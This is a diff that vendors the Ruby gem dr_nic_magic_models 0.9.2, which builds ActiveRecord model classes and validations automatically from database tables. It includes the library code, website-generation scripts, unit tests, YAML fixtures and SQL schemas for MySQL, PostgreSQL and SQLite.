self.columns.reject { |column| column.name =~ /(?i)^(((created|updated)_(at|on))|position|type|id)$/ }.each do |column|
|
||||
|
||||
if column.type == :integer
|
||||
logger.debug "validates_numericality_of #{column.name}, :allow_nil => #{column.null.inspect}, :only_integer => true"
|
||||
self.validates_numericality_of column.name, :allow_nil => column.null, :only_integer => true
|
||||
elsif column.number?
|
||||
logger.debug "validates_numericality_of #{column.name}, :allow_nil => #{column.null.inspect}"
|
||||
self.validates_numericality_of column.name, :allow_nil => column.null
|
||||
elsif column.text? && column.limit
|
||||
logger.debug "validates_length_of #{column.name}, :allow_nil => #{column.null.inspect}, :maximum => #{column.limit}"
|
||||
self.validates_length_of column.name, :allow_nil => column.null, :maximum => column.limit
|
||||
end
|
||||
|
||||
# Active record seems to interpolate booleans anyway to either true, false or nil...
|
||||
if column.type == :boolean
|
||||
logger.debug "validates_inclusion_of #{column.name}, :in => [true, false], :allow_nil => #{column.null}, :message => ActiveRecord::Errors.default_error_messages[:blank]"
|
||||
self.validates_inclusion_of column.name, :in => [true, false], :allow_nil => column.null, :message => ActiveRecord::Errors.default_error_messages[:blank]
|
||||
elsif !column.null
|
||||
logger.debug "validates_presence_of #{column.name}"
|
||||
self.validates_presence_of column.name
|
||||
end
|
||||
end
|
||||
|
||||
# Single-column UNIQUE indexes
|
||||
get_unique_index_columns.each do |col|
|
||||
logger.debug "validates_uniqueness_of #{col}"
|
||||
self.validates_uniqueness_of col
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
9
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/version.rb
vendored
Normal file
9
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/version.rb
vendored
Normal file
@@ -0,0 +1,9 @@
|
||||
module DrNicMagicModels #:nodoc:
|
||||
module VERSION #:nodoc:
|
||||
MAJOR = 0
|
||||
MINOR = 9
|
||||
TINY = 2
|
||||
|
||||
STRING = [MAJOR, MINOR, TINY].join('.')
|
||||
end
|
||||
end
|
||||
33
vendor/gems/dr_nic_magic_models-0.9.2/lib/module.rb
vendored
Normal file
33
vendor/gems/dr_nic_magic_models-0.9.2/lib/module.rb
vendored
Normal file
@@ -0,0 +1,33 @@
|
||||
class Module
|
||||
alias :normal_const_missing :const_missing
|
||||
|
||||
def const_missing(class_id)
|
||||
begin
|
||||
return normal_const_missing(class_id)
|
||||
rescue
|
||||
end
|
||||
@magic_schema ||= DrNicMagicModels::Schema.new self
|
||||
unless table_name = @magic_schema.models[class_id]
|
||||
raise NameError.new("uninitialized constant #{class_id}") if @magic_schema.models.enquired? class_id
|
||||
end
|
||||
superklass = @magic_schema.superklass || ActiveRecord::Base
|
||||
klass = create_class(class_id, superklass) do
|
||||
set_table_name table_name
|
||||
# include DrNicMagicModels::MagicModel
|
||||
# extend DrNicMagicModels::Validations
|
||||
end
|
||||
klass.generate_validations # need to call this AFTER the class name has been assigned
|
||||
@magic_schema.inflector.post_class_creation klass
|
||||
klass
|
||||
end
|
||||
|
||||
def magic_module(options)
|
||||
self.instance_variable_set "@table_name_prefix", options[:table_name_prefix] if options[:table_name_prefix]
|
||||
end
|
||||
|
||||
private
|
||||
def create_class(class_name, superclass, &block)
|
||||
klass = Class.new superclass, &block
|
||||
self.const_set class_name, klass
|
||||
end
|
||||
end
|
||||
19
vendor/gems/dr_nic_magic_models-0.9.2/lib/rails.rb
vendored
Normal file
19
vendor/gems/dr_nic_magic_models-0.9.2/lib/rails.rb
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
module Dependencies #:nodoc:#
|
||||
|
||||
@@models_dir = File.expand_path(File.join(RAILS_ROOT,'app','models'))
|
||||
|
||||
# don't reload models... it doesn't work anyway, not sure why they haven't done this?
|
||||
# submit as patch?
|
||||
alias require_or_load_old require_or_load
|
||||
def require_or_load(file_name, *args)
|
||||
file_name = $1 if file_name =~ /^(.*)\.rb$/
|
||||
expanded = File.expand_path(file_name)
|
||||
old_mechanism = Dependencies.mechanism
|
||||
if expanded =~ /^#{@@models_dir}/
|
||||
RAILS_DEFAULT_LOGGER.debug "*** Not reloading #{file_name}"
|
||||
Dependencies.mechanism = :require
|
||||
end
|
||||
require_or_load_old(file_name, *args)
|
||||
Dependencies.mechanism = old_mechanism
|
||||
end
|
||||
end
|
||||
66
vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2html
vendored
Normal file
66
vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2html
vendored
Normal file
@@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
require 'rubygems'
|
||||
require 'redcloth'
|
||||
require 'syntax/convertors/html'
|
||||
require 'erb'
|
||||
require File.dirname(__FILE__) + '/../lib/dr_nic_magic_models/version.rb'
|
||||
|
||||
version = DrNicMagicModels::VERSION::STRING
|
||||
download = 'http://rubyforge.org/projects/magicmodels'
|
||||
|
||||
class Fixnum
|
||||
def ordinal
|
||||
# teens
|
||||
return 'th' if (10..19).include?(self % 100)
|
||||
# others
|
||||
case self % 10
|
||||
when 1: return 'st'
|
||||
when 2: return 'nd'
|
||||
when 3: return 'rd'
|
||||
else return 'th'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Time
|
||||
def pretty
|
||||
return "#{mday}#{mday.ordinal} #{strftime('%B')} #{year}"
|
||||
end
|
||||
end
|
||||
|
||||
def convert_syntax(syntax, source)
|
||||
return Syntax::Convertors::HTML.for_syntax(syntax).convert(source).gsub(%r!^<pre>|</pre>$!,'')
|
||||
end
|
||||
|
||||
if ARGV.length >= 1
|
||||
src, template = ARGV
|
||||
template ||= File.dirname(__FILE__) + '/../website/template.rhtml'
|
||||
else
|
||||
puts("Usage: #{File.split($0).last} source.txt [template.rhtml] > output.html")
|
||||
exit!
|
||||
end
|
||||
|
||||
template = ERB.new(File.open(template).read)
|
||||
|
||||
title = nil
|
||||
body = nil
|
||||
File.open(src) do |fsrc|
|
||||
title_text = fsrc.readline
|
||||
body_text = fsrc.read
|
||||
syntax_items = []
|
||||
body_text.gsub!(%r!<(pre|code)[^>]*?syntax=['"]([^'"]+)[^>]*>(.*?)</\1>!m){
|
||||
ident = syntax_items.length
|
||||
element, syntax, source = $1, $2, $3
|
||||
syntax_items << "<#{element} class=\"syntax\">#{convert_syntax(syntax, source)}</#{element}>"
|
||||
"syntax-temp-#{ident}"
|
||||
}
|
||||
title = RedCloth.new(title_text).to_html.gsub(%r!<.*?>!,'').strip
|
||||
body = RedCloth.new(body_text).to_html
|
||||
body.gsub!(%r!(?:<pre><code>)?syntax-temp-(\d+)(?:</code></pre>)?!){ syntax_items[$1.to_i] }
|
||||
end
|
||||
stat = File.stat(src)
|
||||
created = stat.ctime
|
||||
modified = stat.mtime
|
||||
|
||||
$stdout << template.result(binding)
|
||||
58
vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2js
vendored
Normal file
58
vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2js
vendored
Normal file
@@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
require 'rubygems'
|
||||
require 'redcloth'
|
||||
require 'syntax/convertors/html'
|
||||
require 'erb'
|
||||
require 'active_support'
|
||||
require File.dirname(__FILE__) + '/../lib/dr_nic_magic_models/version.rb'
|
||||
|
||||
version = DrNicMagicModels::VERSION::STRING
|
||||
download = 'http://rubyforge.org/projects/magicmodels'
|
||||
|
||||
class Fixnum
|
||||
def ordinal
|
||||
# teens
|
||||
return 'th' if (10..19).include?(self % 100)
|
||||
# others
|
||||
case self % 10
|
||||
when 1: return 'st'
|
||||
when 2: return 'nd'
|
||||
when 3: return 'rd'
|
||||
else return 'th'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Time
|
||||
def pretty
|
||||
return "#{mday}#{mday.ordinal} #{strftime('%B')} #{year}"
|
||||
end
|
||||
end
|
||||
|
||||
def convert_syntax(syntax, source)
|
||||
return Syntax::Convertors::HTML.for_syntax(syntax).convert(source).gsub(%r!^<pre>|</pre>$!,'')
|
||||
end
|
||||
|
||||
if ARGV.length >= 1
|
||||
src, template = ARGV
|
||||
template ||= File.dirname(__FILE__) + '/../website/template.js'
|
||||
else
|
||||
puts("Usage: #{File.split($0).last} source.txt [template.rhtml] > output.html")
|
||||
exit!
|
||||
end
|
||||
|
||||
template = ERB.new(File.open(template).read)
|
||||
|
||||
title = nil
|
||||
body = nil
|
||||
File.open(src) do |fsrc|
|
||||
title_text = fsrc.readline
|
||||
body = fsrc.read
|
||||
title = RedCloth.new(title_text).to_html.gsub(%r!<.*?>!,'').strip
|
||||
end
|
||||
stat = File.stat(src)
|
||||
created = stat.ctime
|
||||
modified = stat.mtime
|
||||
|
||||
$stdout << template.result(binding)
|
||||
BIN
vendor/gems/dr_nic_magic_models-0.9.2/test.db
vendored
Normal file
BIN
vendor/gems/dr_nic_magic_models-0.9.2/test.db
vendored
Normal file
Binary file not shown.
72
vendor/gems/dr_nic_magic_models-0.9.2/test/abstract_unit.rb
vendored
Normal file
72
vendor/gems/dr_nic_magic_models-0.9.2/test/abstract_unit.rb
vendored
Normal file
@@ -0,0 +1,72 @@
|
||||
$:.unshift(File.dirname(__FILE__) + '/../lib')
|
||||
|
||||
require 'rubygems'
|
||||
require 'test/unit'
|
||||
require 'active_record'
|
||||
require 'active_record/fixtures'
|
||||
require 'active_support/binding_of_caller'
|
||||
require 'active_support/breakpoint'
|
||||
require 'connection'
|
||||
require 'dr_nic_magic_models'
|
||||
|
||||
ActiveSupport::Deprecation.debug = true
|
||||
|
||||
|
||||
QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type') unless Object.const_defined?(:QUOTED_TYPE)
|
||||
|
||||
class Test::Unit::TestCase #:nodoc:
|
||||
self.fixture_path = File.dirname(__FILE__) + "/fixtures/"
|
||||
self.use_instantiated_fixtures = false
|
||||
self.use_transactional_fixtures = true #(ENV['AR_NO_TX_FIXTURES'] != "yes")
|
||||
|
||||
def create_fixtures(*table_names, &block)
|
||||
Fixtures.create_fixtures(File.dirname(__FILE__) + "/fixtures/", table_names, {}, &block)
|
||||
end
|
||||
|
||||
def assert_date_from_db(expected, actual, message = nil)
|
||||
# SQL Server doesn't have a separate column type just for dates,
|
||||
# so the time is in the string and incorrectly formatted
|
||||
if current_adapter?(:SQLServerAdapter)
|
||||
assert_equal expected.strftime("%Y/%m/%d 00:00:00"), actual.strftime("%Y/%m/%d 00:00:00")
|
||||
elsif current_adapter?(:SybaseAdapter)
|
||||
assert_equal expected.to_s, actual.to_date.to_s, message
|
||||
else
|
||||
assert_equal expected.to_s, actual.to_s, message
|
||||
end
|
||||
end
|
||||
|
||||
def assert_queries(num = 1)
|
||||
ActiveRecord::Base.connection.class.class_eval do
|
||||
self.query_count = 0
|
||||
alias_method :execute, :execute_with_query_counting
|
||||
end
|
||||
yield
|
||||
ensure
|
||||
ActiveRecord::Base.connection.class.class_eval do
|
||||
alias_method :execute, :execute_without_query_counting
|
||||
end
|
||||
assert_equal num, ActiveRecord::Base.connection.query_count, "#{ActiveRecord::Base.connection.query_count} instead of #{num} queries were executed."
|
||||
end
|
||||
|
||||
def assert_no_queries(&block)
|
||||
assert_queries(0, &block)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def current_adapter?(type)
|
||||
ActiveRecord::ConnectionAdapters.const_defined?(type) &&
|
||||
ActiveRecord::Base.connection.instance_of?(ActiveRecord::ConnectionAdapters.const_get(type))
|
||||
end
|
||||
|
||||
ActiveRecord::Base.connection.class.class_eval do
|
||||
cattr_accessor :query_count
|
||||
alias_method :execute_without_query_counting, :execute
|
||||
def execute_with_query_counting(sql, name = nil)
|
||||
self.query_count += 1
|
||||
execute_without_query_counting(sql, name)
|
||||
end
|
||||
end
|
||||
|
||||
#ActiveRecord::Base.logger = Logger.new(STDOUT)
|
||||
#ActiveRecord::Base.colorize_logging = false
|
||||
13
vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_mysql/connection.rb
vendored
Normal file
13
vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_mysql/connection.rb
vendored
Normal file
@@ -0,0 +1,13 @@
|
||||
print "Using native MySQL\n"
|
||||
require 'logger'
|
||||
|
||||
ActiveRecord::Base.logger = Logger.new("debug.log")
|
||||
|
||||
db1 = "dr_nic_magic_models_unittest"
|
||||
|
||||
ActiveRecord::Base.establish_connection(
|
||||
:adapter => "mysql",
|
||||
:username => "root",
|
||||
:encoding => "utf8",
|
||||
:database => db1
|
||||
)
|
||||
12
vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_postgresql/connection.rb
vendored
Normal file
12
vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_postgresql/connection.rb
vendored
Normal file
@@ -0,0 +1,12 @@
|
||||
print "Using Postgres\n"
|
||||
require 'logger'
|
||||
|
||||
ActiveRecord::Base.logger = Logger.new("debug.log")
|
||||
|
||||
db1 = "dr_nic_magic_models_unittest"
|
||||
|
||||
ActiveRecord::Base.establish_connection(
|
||||
:adapter => "postgresql",
|
||||
:encoding => "utf8",
|
||||
:database => db1
|
||||
)
|
||||
10
vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_sqlite/connection.rb
vendored
Normal file
10
vendor/gems/dr_nic_magic_models-0.9.2/test/connections/native_sqlite/connection.rb
vendored
Normal file
@@ -0,0 +1,10 @@
|
||||
print "Using native Sqlite3\n"
|
||||
require 'logger'
|
||||
|
||||
ActiveRecord::Base.logger = Logger.new("debug.log")
|
||||
|
||||
ActiveRecord::Base.establish_connection(
|
||||
:adapter => "sqlite3",
|
||||
:dbfile => "test.db"
|
||||
)
|
||||
|
||||
13
vendor/gems/dr_nic_magic_models-0.9.2/test/dummy_test.rb
vendored
Normal file
13
vendor/gems/dr_nic_magic_models-0.9.2/test/dummy_test.rb
vendored
Normal file
@@ -0,0 +1,13 @@
|
||||
require 'abstract_unit'
|
||||
#require 'fixtures/user'
|
||||
#require 'fixtures/group'
|
||||
#require 'fixtures/membership'
|
||||
|
||||
class DummyTest < Test::Unit::TestCase
|
||||
def setup
|
||||
end
|
||||
|
||||
def test_truth
|
||||
assert true
|
||||
end
|
||||
end
|
||||
10
vendor/gems/dr_nic_magic_models-0.9.2/test/env_test.rb
vendored
Normal file
10
vendor/gems/dr_nic_magic_models-0.9.2/test/env_test.rb
vendored
Normal file
@@ -0,0 +1,10 @@
|
||||
require 'abstract_unit'
|
||||
|
||||
class EnvTest < Test::Unit::TestCase
|
||||
|
||||
def test_modules
|
||||
assert_not_nil DrNicMagicModels
|
||||
assert_not_nil DrNicMagicModels::Validations
|
||||
assert_not_nil DrNicMagicModels::Schema
|
||||
end
|
||||
end
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives.yml
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives.yml
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
first:
|
||||
id: 1
|
||||
name: kind
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives_fun_users.yml
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/adjectives_fun_users.yml
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
first:
|
||||
fun_user_id: 1
|
||||
adjective_id: 1
|
||||
4
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.drop.sql
vendored
Normal file
4
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.drop.sql
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
DROP TABLE fun_users;
|
||||
DROP TABLE groups;
|
||||
DROP TABLE group_memberships;
|
||||
DROP TABLE group_tag;
|
||||
56
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.sql
vendored
Normal file
56
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/mysql.sql
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
CREATE TABLE `fun_users` (
|
||||
`id` int(11) NOT NULL auto_increment,
|
||||
`type` varchar(255) NOT NULL,
|
||||
`firstname` varchar(50) NOT NULL,
|
||||
`lastname` varchar(50) NOT NULL,
|
||||
`login` varchar(50) NOT NULL,
|
||||
`email` varchar(50) NULL,
|
||||
PRIMARY KEY (`id`)
|
||||
) TYPE=InnoDB;
|
||||
|
||||
CREATE TABLE `groups` (
|
||||
`id` int(11) NOT NULL auto_increment,
|
||||
`name` varchar(50) NOT NULL UNIQUE,
|
||||
`description` varchar(50) default NULL,
|
||||
`some_int` integer default NULL,
|
||||
`some_float` float default NULL,
|
||||
`some_bool` boolean default NULL,
|
||||
PRIMARY KEY (`id`)
|
||||
) TYPE=InnoDB;
|
||||
|
||||
CREATE TABLE `group_memberships` (
|
||||
`id` int(11) NOT NULL auto_increment,
|
||||
`fun_user_id` int(11) NOT NULL,
|
||||
`group_id` int(11) NOT NULL,
|
||||
PRIMARY KEY (`id`)
|
||||
) TYPE=InnoDB;
|
||||
|
||||
CREATE TABLE `adjectives` (
|
||||
`id` int(11) NOT NULL auto_increment,
|
||||
`name` varchar(255),
|
||||
PRIMARY KEY (`id`)
|
||||
) TYPE=InnoDB;
|
||||
|
||||
CREATE TABLE `adjectives_fun_users` (
|
||||
`fun_user_id` int(11) NOT NULL,
|
||||
`adjective_id` int(11) NOT NULL,
|
||||
PRIMARY KEY (`fun_user_id`,`adjective_id`)
|
||||
) TYPE=InnoDB;
|
||||
|
||||
|
||||
CREATE TABLE `group_tag` (
|
||||
`id` int(11) NOT NULL auto_increment,
|
||||
`name` varchar(50) NOT NULL,
|
||||
`group_id` int(11) NOT NULL,
|
||||
`referenced_group_id` int(11) NULL UNIQUE,
|
||||
PRIMARY KEY (`id`)
|
||||
) TYPE=InnoDB;
|
||||
|
||||
ALTER TABLE `group_tag`
|
||||
ADD FOREIGN KEY (`group_id`) REFERENCES `groups` (`id`) ON DELETE CASCADE;
|
||||
|
||||
ALTER TABLE `group_tag`
|
||||
ADD FOREIGN KEY (`referenced_group_id`) REFERENCES `groups` (`id`) ON DELETE CASCADE;
|
||||
|
||||
ALTER TABLE `adjectives_fun_users`
|
||||
ADD FOREIGN KEY (`adjective_id`) REFERENCES `adjectives` (`id`) ON DELETE CASCADE;
|
||||
55
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/postgresql.sql
vendored
Normal file
55
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/postgresql.sql
vendored
Normal file
@@ -0,0 +1,55 @@
|
||||
CREATE TABLE "fun_users" (
|
||||
"id" SERIAL NOT NULL,
|
||||
"type" varchar(255) NOT NULL,
|
||||
"firstname" varchar(50) NOT NULL,
|
||||
"lastname" varchar(50) NOT NULL,
|
||||
"login" varchar(50) NOT NULL,
|
||||
"email" varchar(50) NULL,
|
||||
PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
CREATE TABLE "groups" (
|
||||
"id" SERIAL NOT NULL,
|
||||
"name" varchar(50) NOT NULL UNIQUE,
|
||||
"description" varchar(50) default NULL,
|
||||
"some_int" integer default NULL,
|
||||
"some_float" float default NULL,
|
||||
"some_bool" boolean default NULL,
|
||||
PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
CREATE TABLE "group_memberships" (
|
||||
"id" SERIAL,
|
||||
"fun_user_id" int NOT NULL,
|
||||
"group_id" int NOT NULL,
|
||||
PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
CREATE TABLE "adjectives" (
|
||||
"id" SERIAL,
|
||||
"name" varchar(255),
|
||||
PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
CREATE TABLE "adjectives_fun_users" (
|
||||
"fun_user_id" int NOT NULL,
|
||||
"adjective_id" int NOT NULL,
|
||||
PRIMARY KEY ("fun_user_id","adjective_id")
|
||||
);
|
||||
|
||||
CREATE TABLE "group_tag" (
|
||||
"id" SERIAL NOT NULL,
|
||||
"name" varchar(50) NOT NULL,
|
||||
"group_id" int NOT NULL,
|
||||
"referenced_group_id" int NULL UNIQUE,
|
||||
PRIMARY KEY ("id")
|
||||
);
|
||||
|
||||
ALTER TABLE "group_tag"
|
||||
ADD FOREIGN KEY ("group_id") REFERENCES "groups" ("id") ON DELETE CASCADE;
|
||||
|
||||
ALTER TABLE "group_tag"
|
||||
ADD FOREIGN KEY ("referenced_group_id") REFERENCES "groups" ("id") ON DELETE CASCADE;
|
||||
|
||||
ALTER TABLE "adjectives_fun_users"
|
||||
ADD FOREIGN KEY ("adjective_id") REFERENCES "adjectives" ("id") ON DELETE CASCADE;
|
||||
49
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/sqlite.sql
vendored
Normal file
49
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/db_definitions/sqlite.sql
vendored
Normal file
@@ -0,0 +1,49 @@
|
||||
CREATE TABLE `fun_users` (
|
||||
`id` int(11) NOT NULL,
|
||||
`type` varchar(255) NOT NULL,
|
||||
`firstname` varchar(50) NOT NULL,
|
||||
`lastname` varchar(50) NOT NULL,
|
||||
`login` varchar(50) NOT NULL,
|
||||
`email` varchar(50) NULL,
|
||||
PRIMARY KEY (`id`)
|
||||
);
|
||||
|
||||
CREATE TABLE `groups` (
|
||||
`id` int(11) NOT NULL ,
|
||||
`name` varchar(50) NOT NULL UNIQUE,
|
||||
`description` varchar(50) default NULL,
|
||||
`some_int` integer default NULL,
|
||||
`some_float` float default NULL,
|
||||
`some_bool` boolean default NULL,
|
||||
PRIMARY KEY (`id`)
|
||||
);
|
||||
|
||||
CREATE TABLE `group_memberships` (
|
||||
`id` int(11) NOT NULL,
|
||||
`fun_user_id` int(11) NOT NULL,
|
||||
`group_id` int(11) NOT NULL,
|
||||
PRIMARY KEY (`id`)
|
||||
);
|
||||
|
||||
CREATE TABLE `adjectives` (
|
||||
`id` int(11) NOT NULL,
|
||||
`name` varchar(255),
|
||||
PRIMARY KEY (`id`)
|
||||
);
|
||||
|
||||
CREATE TABLE `adjectives_fun_users` (
|
||||
`fun_user_id` int(11) NOT NULL,
|
||||
`adjective_id` int(11) NOT NULL,
|
||||
PRIMARY KEY (`fun_user_id`,`adjective_id`)
|
||||
);
|
||||
|
||||
|
||||
CREATE TABLE `group_tag` (
|
||||
`id` int(11) NOT NULL,
|
||||
`name` varchar(50) NOT NULL,
|
||||
`group_id` int(11) NOT NULL,
|
||||
`referenced_group_id` int(11) NULL UNIQUE,
|
||||
PRIMARY KEY (`id`)
|
||||
);
|
||||
|
||||
|
||||
14
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/fun_users.yml
vendored
Normal file
14
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/fun_users.yml
vendored
Normal file
@@ -0,0 +1,14 @@
|
||||
first:
|
||||
id: 1
|
||||
firstname: First
|
||||
lastname: Person
|
||||
login: first
|
||||
email: first@person.com
|
||||
type: FunUser
|
||||
second:
|
||||
id: 2
|
||||
firstname: Second
|
||||
lastname: Person
|
||||
login: sec
|
||||
email: sec@person.com
|
||||
type: FunUserPlus
|
||||
4
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_memberships.yml
vendored
Normal file
4
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_memberships.yml
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
first_first:
|
||||
id: 1
|
||||
group_id: 1
|
||||
fun_user_id: 1
|
||||
11
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_tag.yml
vendored
Normal file
11
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/group_tag.yml
vendored
Normal file
@@ -0,0 +1,11 @@
|
||||
first:
|
||||
id: 1
|
||||
name: Test
|
||||
group_id: 1
|
||||
referenced_group_id: 1
|
||||
second:
|
||||
id: 2
|
||||
name: Also Test
|
||||
group_id: 1
|
||||
referenced_group_id: NULL
|
||||
|
||||
12
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/groups.yml
vendored
Normal file
12
vendor/gems/dr_nic_magic_models-0.9.2/test/fixtures/groups.yml
vendored
Normal file
@@ -0,0 +1,12 @@
|
||||
first:
|
||||
id: 1
|
||||
name: Group One
|
||||
description: First group
|
||||
other:
|
||||
id: 2
|
||||
name: Group Plus
|
||||
description: Extended Group
|
||||
other:
|
||||
id: 2
|
||||
name: Group Plus
|
||||
description: Extended Group
|
||||
0
vendor/gems/dr_nic_magic_models-0.9.2/test/foreign_keys_test.rb
vendored
Normal file
0
vendor/gems/dr_nic_magic_models-0.9.2/test/foreign_keys_test.rb
vendored
Normal file
2
vendor/gems/dr_nic_magic_models-0.9.2/test/fun_user_plus.rb
vendored
Normal file
2
vendor/gems/dr_nic_magic_models-0.9.2/test/fun_user_plus.rb
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
class FunUserPlus < FunUser
|
||||
end
|
||||
71
vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_access_test.rb
vendored
Normal file
71
vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_access_test.rb
vendored
Normal file
@@ -0,0 +1,71 @@
|
||||
require 'abstract_unit'
|
||||
require 'pp'
|
||||
|
||||
class InvisibleModelAccessTest < Test::Unit::TestCase
|
||||
# fixtures :fun_users, :groups, :group_memberships, :group_tag
|
||||
|
||||
def setup
|
||||
create_fixtures :fun_users, :groups, :group_memberships, :group_tag
|
||||
@classes = [FunUser, Group, GroupMembership, GroupTag]
|
||||
@group = Group.find(:first)
|
||||
end
|
||||
|
||||
def test_attributes
|
||||
assert_not_nil @group.name
|
||||
end
|
||||
|
||||
def test_find
|
||||
@classes.each do |klass|
|
||||
assert_not_nil obj = klass.find(1)
|
||||
assert_equal klass, obj.class
|
||||
end
|
||||
end
|
||||
|
||||
def test_sti
|
||||
require 'fun_user_plus'
|
||||
x = FunUserPlus.find(:all)
|
||||
assert x.inject {|n,v| n &= v.class == FunUserPlus}, "Wrong object class in FunUserPlus.find(:all)"
|
||||
plus = x.first
|
||||
assert_not_nil plus
|
||||
assert plus.is_a?(FunUser)
|
||||
assert plus.class == FunUserPlus
|
||||
end
|
||||
|
||||
def test_new
|
||||
assert group = Group.new(:name => 'New Group')
|
||||
assert_equal Group, group.class
|
||||
end
|
||||
|
||||
def test_update
|
||||
assert @group.update_attributes(:name => 'Group 1'), "Couldn't update:\n#{str=""; @group.errors.each_full { |msg| str += "#{msg}\n" }; str }"
|
||||
end
|
||||
|
||||
def test_delete
|
||||
assert @group.destroy
|
||||
end
|
||||
|
||||
def test_validations
|
||||
group = Group.new
|
||||
group.description = "x"*100
|
||||
group.some_int = 99.9
|
||||
group.some_float = "bah"
|
||||
# Active record seems to interpolate booleans anyway to either true, false or nil...
|
||||
# group.some_bool = "xxx" => false (!)
|
||||
|
||||
assert !group.valid?, "Group should not be valid"
|
||||
[:name, :description, :some_int, :some_float].each do |x|
|
||||
assert_not_nil group.errors[x], "Failed on #{x}=[#{group.send(x)}], it should be invalid"
|
||||
end
|
||||
|
||||
group = Group.new
|
||||
group.name = "name"
|
||||
group.description = "x"*49
|
||||
group.some_int = 99
|
||||
group.some_float = 99.9
|
||||
group.some_bool = true
|
||||
assert group.valid?, "Group should be valid"
|
||||
|
||||
group.name = @group.name
|
||||
assert !group.valid?, "Groups should have unique names"
|
||||
end
|
||||
end
|
||||
61
vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_assoc_test.rb
vendored
Normal file
61
vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_assoc_test.rb
vendored
Normal file
@@ -0,0 +1,61 @@
|
||||
require 'abstract_unit'
|
||||
|
||||
class InvisibleModelAssocTest < Test::Unit::TestCase
|
||||
# fixtures :fun_users, :groups, :group_memberships, :group_tag, :adjectives, :adjectives_fun_users
|
||||
|
||||
def setup
|
||||
create_fixtures :fun_users, :groups, :group_memberships, :group_tag, :adjectives, :adjectives_fun_users
|
||||
@group = Group.find(1)
|
||||
@group_tag = GroupTag.find(1)
|
||||
@user = FunUser.find(1)
|
||||
@membership = GroupMembership.find(1)
|
||||
end
|
||||
|
||||
def test_hatbm
|
||||
assert_equal([Adjective.find(1)], @user.adjectives)
|
||||
end
|
||||
|
||||
def test_fk
|
||||
|
||||
gt = GroupTag.find(1)
|
||||
|
||||
# Not using FKs
|
||||
g = gt.group
|
||||
assert g.class == Group
|
||||
assert g.id == 1
|
||||
|
||||
# Using FKs
|
||||
if g.connection.supports_fetch_foreign_keys?
|
||||
g = gt.referenced_group
|
||||
assert g.class == Group
|
||||
assert g.id == 1
|
||||
end
|
||||
end
|
||||
|
||||
def test_has_many
|
||||
assert_equal [@membership], @group.group_memberships
|
||||
assert_equal @group, @membership.group
|
||||
end
|
||||
|
||||
def test_has_one
|
||||
if @group_tag.connection.supports_fetch_foreign_keys?
|
||||
assert_equal @group, @group_tag.referenced_group
|
||||
# assert_equal @group_tag, @group.group_tag_as_referenced_group
|
||||
end
|
||||
end
|
||||
|
||||
def test_belongs_to
|
||||
assert_equal @user, @membership.fun_user
|
||||
assert_equal @group, @membership.group
|
||||
manual_result = GroupTag.find(:all, :conditions => ['group_tag.group_id = ?', @group.id]) #.sort{|a,b| a.id <=> b.id}
|
||||
auto_result = @group.group_tags #.sort{|a,b| a.id <=> b.id}
|
||||
assert manual_result == auto_result, "[#{manual_result.join(',')}] != [#{auto_result.join(',')}]"
|
||||
|
||||
end
|
||||
|
||||
def test_indirect
|
||||
assert_equal [@user], @group.fun_users
|
||||
assert_equal [@group], @user.groups
|
||||
end
|
||||
|
||||
end
|
||||
23
vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_classes_test.rb
vendored
Normal file
23
